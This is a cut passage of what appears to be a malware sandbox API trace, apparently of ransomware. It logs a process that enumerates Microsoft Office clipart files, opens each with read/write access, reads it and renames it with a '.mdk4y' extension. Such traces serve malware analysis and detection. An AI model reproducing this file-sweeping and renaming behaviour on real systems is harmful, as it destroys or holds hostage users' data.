lpPerformanceCount=0x37dee4*=1820347100000) returned 1 [0128.242] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.mdk4y")) returned 1 [0128.242] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.242] AreFileApisANSI () returned 1 [0128.242] GetACP () returned 0x4e4 [0128.242] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00163_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00163_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.242] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820347300000) returned 1 [0128.243] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1b48, lpOverlapped=0x0) returned 1 [0128.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820356100000) returned 1 [0128.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820356100000) returned 1 [0128.331] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.mdk4y")) returned 1 [0128.332] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.332] AreFileApisANSI () returned 1 [0128.332] GetACP () returned 0x4e4 [0128.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00164_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00164_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.332] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.332] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820356200000) returned 1 [0128.333] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x33c6, lpOverlapped=0x0) returned 1 [0128.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820357200000) returned 1 [0128.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820357200000) returned 1 [0128.342] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.mdk4y")) returned 1 [0128.343] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.343] AreFileApisANSI () returned 1 [0128.343] GetACP () returned 0x4e4 [0128.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00165_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00165_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.343] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820357400000) returned 1 [0128.344] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2186, lpOverlapped=0x0) returned 1 [0128.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820360600000) returned 1 [0128.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820360600000) returned 1 [0128.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.mdk4y")) returned 1 [0128.377] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.377] AreFileApisANSI () returned 1 [0128.377] GetACP () returned 0x4e4 [0128.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00167_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00167_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.377] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.378] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820360800000) returned 1 [0128.378] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x131e, lpOverlapped=0x0) returned 1 [0128.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820364300000) returned 1 [0128.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820364300000) returned 1 [0128.413] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.mdk4y")) returned 1 [0128.414] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.414] AreFileApisANSI () returned 1 [0128.414] GetACP () returned 0x4e4 [0128.414] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00169_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00169_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.414] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820364400000) returned 1 [0128.414] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14ff, lpOverlapped=0x0) returned 1 [0128.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820368000000) returned 1 [0128.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820368000000) returned 1 [0128.450] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00169_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00169_.gif.mdk4y")) returned 1 [0128.451] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.451] AreFileApisANSI () returned 1 [0128.451] GetACP () returned 0x4e4 [0128.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00170_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00170_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.451] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820368100000) returned 1 [0128.451] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2420, lpOverlapped=0x0) returned 1 [0128.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820370200000) returned 1 [0128.472] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820370200000) returned 1 [0128.472] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00170_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00170_.gif.mdk4y")) returned 1 [0128.473] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.473] AreFileApisANSI () returned 1 [0128.473] GetACP () returned 0x4e4 [0128.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00171_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00171_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.473] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.474] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820370400000) returned 1 [0128.474] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1398, lpOverlapped=0x0) returned 1 [0128.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820371500000) returned 1 [0128.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820371500000) returned 1 [0128.485] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.mdk4y")) returned 1 [0128.486] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.486] AreFileApisANSI () returned 1 [0128.486] GetACP () returned 0x4e4 [0128.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00172_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00172_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.486] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820371700000) returned 1 [0128.487] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1126, lpOverlapped=0x0) returned 1 [0128.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820378700000) returned 1 [0128.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820378800000) returned 1 [0128.558] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.mdk4y")) returned 1 [0128.558] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.558] AreFileApisANSI () returned 1 [0128.559] GetACP () returned 0x4e4 [0128.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00174_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00174_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.559] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820378900000) returned 1 [0128.559] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf7e, lpOverlapped=0x0) returned 1 [0128.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820379000000) returned 1 [0128.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820379000000) returned 1 [0128.561] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.mdk4y")) returned 1 [0128.561] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.561] AreFileApisANSI () returned 1 [0128.561] GetACP () returned 0x4e4 [0128.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00175_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00175_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.561] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820379100000) returned 1 [0128.561] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd32, lpOverlapped=0x0) returned 1 [0128.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820380900000) returned 1 [0128.580] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820381000000) returned 1 [0128.580] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.mdk4y")) returned 1 [0128.580] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.581] AreFileApisANSI () returned 1 [0128.581] GetACP () returned 0x4e4 [0128.581] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AG00176_.GIF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AG00176_.GIF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.581] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820381100000) returned 1 [0128.581] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc30, lpOverlapped=0x0) returned 1 [0128.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820388000000) returned 1 [0128.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820388000000) returned 1 [0128.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif.mdk4y")) returned 1 [0128.651] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.651] AreFileApisANSI () returned 1 [0128.651] GetACP () returned 0x4e4 [0128.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN00010_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN00010_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.651] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820388200000) returned 1 [0128.652] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbd2, lpOverlapped=0x0) returned 1 [0128.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820388300000) returned 1 [0128.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820388300000) returned 1 [0128.653] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.mdk4y")) returned 1 [0128.654] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.654] AreFileApisANSI () returned 1 [0128.654] GetACP () returned 0x4e4 [0128.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN00015_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN00015_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.654] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820388400000) returned 1 [0128.654] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x127e, lpOverlapped=0x0) returned 1 [0128.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820390500000) returned 1 [0128.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820390500000) returned 1 [0128.675] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.mdk4y")) returned 1 [0128.675] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0128.675] AreFileApisANSI () returned 1 [0128.675] GetACP () returned 0x4e4 [0128.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN00790_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN00790_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0128.676] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0128.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820390600000) returned 1 [0128.676] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1634, lpOverlapped=0x0) returned 1 [0128.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820397400000) returned 1 [0128.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820397400000) returned 1 [0128.744] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft 